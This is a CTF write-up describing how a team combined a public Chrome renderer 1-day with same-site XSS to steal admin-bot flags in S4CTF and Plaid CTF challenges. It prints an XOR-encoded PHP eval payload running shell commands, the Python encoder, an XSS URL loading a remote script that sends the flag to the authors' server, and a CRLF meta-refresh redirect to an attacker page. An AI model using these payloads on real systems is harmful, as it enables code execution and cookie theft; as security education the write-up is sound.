A tale of solving all the recent XSS challenges using chrome 1-day.

Published Date: 13/5/2021

Introduction

This writeup is about how we solved XSS challenges( steal the flag in victim site from the attacker site ) using compromised renderer process by dodging site-isolation.

Recently, there was a typer bug in recent chrome version and Raj published an exploit in his GitHub. This bug affected the latest version of puppeteer 9.1.1 which runs Chrome version 91.0.4469.0 and was released a week ago. This bug allows us to run arbitrary code in the renderer process.

Even though, we can run arbitrary code in the renderer process but the Chrome's "site-isolation" feature would create a different process for cross-site host which limits the compromised renderer process from accessing cross-site data.

If you have trouble understanding the difference between cross-site and same-site check the below image.

Let's see the practical example.

Note: If you are not familiar with CTF XSS challenges, there will be a challenge website and an admin bot. In the challenge website, we have to find the vulnerability which gives us the XSS. And the admin bot, usually a headless chrome which is controlled by the puppeteer/selenium consists of the flag either in the document.cookie, or in the document.body of the challenge website. With the XSS we found on the challenge website, we can read the flag by reporting it to the admin bot.


S4CTF So Safe Website XSS Challenge

The challenge site is "http://sosafewebsite.peykar.io:7070/". The task is to read the "document.cookie" of the http://sosafewebsite.peykar.io:7070/.


const crawl = async function(url){ //url = the URL given by us

const browser = await puppeteer.launch({pipe:true});

try{

const page = await browser.newPage();

await page.goto(challengeUrl,{ // challengeUrl = http://sosafewebsite.peykar.io:7070/

timeout: 1000

});

await page.setCookie({"name":"flag","value":flag,"sameSite":"Strict","httpOnly":false,"secure":false}); // set the flag

await page.goto("about:blank",{

timeout: 1000

});

await page.goto(url,{

timeout: 1000

});

await wait(3000);

} catch(e){

}

await browser.close();

}

The headless chrome version is 91.0.4469.0

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4469.0 Safari/537.36

@ptr-Yudai confirmed that the renderer exploit works for this version, which means we can run the native code in the renderer process.

If we use https://evil.com to host the exploit and make the admin bot visit this we can successfully compromise the renderer process, but the thing is "evil.com" can't access the memory of "sosafewebsite.peykar.io" because they are cross-site and chrome will create a separate process for them as mentioned above.

Looking for XSS in subdomains of peykaro.io

To solve the challenge either we have to find the actual intended bug in the challenge website or find an XSS in any of the subdomains of the challenge website so that we can read the flag from the compromised renderer because chrome won't create a different process for same-site websites.

As I am not interested in finding the intended bug, I chose the latter way and started looking for CRLF or XSS in subdomains of peykar.io. As expected, I couldn't find anything.

This is the only XSS challenge released at that point, so I asked @parrot if they are going to release new XSS challenges. I waited patiently for the new XSS challenge to release and hoping the challenge to be hosted on the subdomain of peykar.io xD.

Finally, they released the new XSS challenge, and sadly it is hosted on http://139.162.238.54:9090/ 😩.

I thought of other ways to solve the challenge using a compromised renderer and I couldn't find any other way, so I started looking for intended bug.

RCE to XSS (who would've thought)

After some time, I've noticed @st98 solving a challenge named "junior-php" which is hosted on https://junior-php.peykar.io/. The challenge is simple, given input from parameter "x" is evaluated if the value doesn't contain any alpha-numeric characters.


<?php

// flag's in flag.php

if (isset($_GET['x'])) {

$x = $_GET['x'];

if (preg_match('/[A-Za-z0-9]/', $x))

die("no alphanumeric");

if (preg_match('/\$|=/', $x))

die("no php");

if (strlen($x) >= 58)

die("no");

// yes

eval($x);

} else {

highlight_file(__FILE__);

}

st98 solved it using XOR'ing the payload which reads the flag with 0xff, so it doesn't have any alpha-numeric characters.

Visiting this URL gives the flag: https://junior-php.peykar.io/?x=%28%8F%9E%8C%8C%8B%97%8D%8A%5E%FF%FF%FF%FF%FF%FF%FF%FF%29%28%9C%9E%8B%DF%99%93%9E%98%D5%5E%FF%FF%FF%FF%FF%FF%FF%FF%FF%29%3B


def encode(s):

s = [c ^ 0xff for c in s]

return bytes(s) + b'^' + b'\xff' * len(s)


print(urllib.parse.quote(

b'(' + encode(b'passthru') + b')(' + encode(b'cat flag*') + b');' # ("passthru")("cat flag*");

))

Now, I am pretty sure that using this RCE I can get XSS on the subdomain of peykar.io and asked st98 to achieve the XSS.

He provided me the url which does this

("var_dump")(("filter_input")(1,'_'))

URL: http://junior-php.peykar.io/?x=%28%89%9E%8D%A0%9B%8A%92%8F%5E%FF%FF%FF%FF%FF%FF%FF%FF%29%28%28%99%96%93%8B%9A%8D%A0%96%91%8F%8A%8B%5E%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%29%28-~%2B_%2C_%29%29%3B&_=%3Cscript%3Ealert(123)%3C/script%3E

Exploit

Now we have XSS on same-site, the only task left is @ptr-Yudai to write the exploit which steals the flag.

Initially, we thought to load http://sosafewebsite.peykar.io:7070/ in an iframe on https://junior-php.peykar.io/ and check if the memory has the flag, but the flag is not in the memory because the flag is not on document.body it is in the document.cookie.

Then we thought, maybe chrome does some IPC calls from renderer process to browser process when document.cookie is accessed.

Now the task is to find the IPC call which asks the browser process for the cookie from the renderer process.

After some time, ptr-Yudai is able to read the cookie of "sosafewebsite.peykar.io:7070" from "junior-php.peykar.io" by spoofing the values of window.origin and location.href to "sosafewebsite.peykar.io:7070"

Finally, we just have to make admin bot to visit http://junior-php.peykar.io/?x=%28%89%9E%8D%A0%9B%8A%92%8F%5E%FF%FF%FF%FF%FF%FF%FF%FF%29%28%28%99%96%93%8B%9A%8D%A0%96%91%8F%8A%8B%5E%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%29%28-~%2B_%2C_%29%29%3B&_=%3Cscript src="http://ctf.s1r1us.ninja/pwn.js"%3E%3C/script%3E which sends the flag to our server.

S4CTF Another Note App

This challenge has a flag on http://139.162.238.54:9090/ and a sandbox site where we can easily get XSS on http://139.162.238.54:9091/. As you've already guessed they both are same-site which means we can read the flag on 9090 from 9091 using XSS to compromise the renderer process.

But @parrot noticed our pwning movements and tried to stop ptr-Yudai from pwning the browser by adding the following flag.

const browser = await puppeteer.launch({pipe:true,args: ['--js-flags=--noexpose_wasm']}); // THIS IS A WEB CHALLENGEEEEEEE

It basically disables web assembly, I thought we can't pwn the browser anymore.

But Yudai told that it can be bypassed and posted a script that enables wasm and the exploit works as usual.

Btw, We couldn't solve this challenge during the CTF because of not having enough time.

Plaid CTF Carmen Sandiego (headless chrome disables site-isolation 😳)

This is really a funny scenario, during the CTF we hosted our carmen sandiego challenge locally on "defcon.infra.p6.is".

st98 found a CRLF at http://defcon.infra.p6.is:10000/cgi-bin/restart?sensor=%3Ciframe/src=./flag%3E%3C/iframe%3E%3Cmeta+http-equiv=refresh+content=%223;url=%27http://pwn.p6.is/a.html%27%22%3E

Note: we were not able to achieve full XSS because strict CSP is there.

As usual, we just have the theory which is load ./flag in iframe and meta redirect to attacker site which runs the exploit to read the flag.

To our surprise, the exploit worked and we were able to read the flag.

So we tested the exploit on the challenge bot:

http://seoul.carmen2.pwni.ng:10000/cgi-bin/restart?sensor=%3Ciframe/src=./flag%3E%3C/iframe%3E%3Cmeta+http-equiv=refresh+content=%223;url=%27http://pwn.p6.is/a.html%27%22%3E

We got the flag 🥳🤯.


After the CTF, I am really confused and wondered how it worked. My doubt is "Why meta redirect didn't create a separate process? Is it a bug?", having this doubt in mind I tested in my local chrome(not headless :/). It created a separate process every time. I tried to understand what is the reason behind this and I couldn't figure it out.

Then I asked Jun Kokatsu-san out of curiosity about this behaviour.

I am so shocked, because all this time I've assumed a feature which is not existed at all.

The reason behind why the above exploit worked even for the normal chrome(not headless) is "defcon.infra.p6.is"(challenge server) and "pwn.p6.is"(exploit server) are same-site, so obviously the flag will be in the memory of "pwn.p6.is".

I've learned a lot of stuff because of chrome 1-day. I am grateful for my amazing teammates.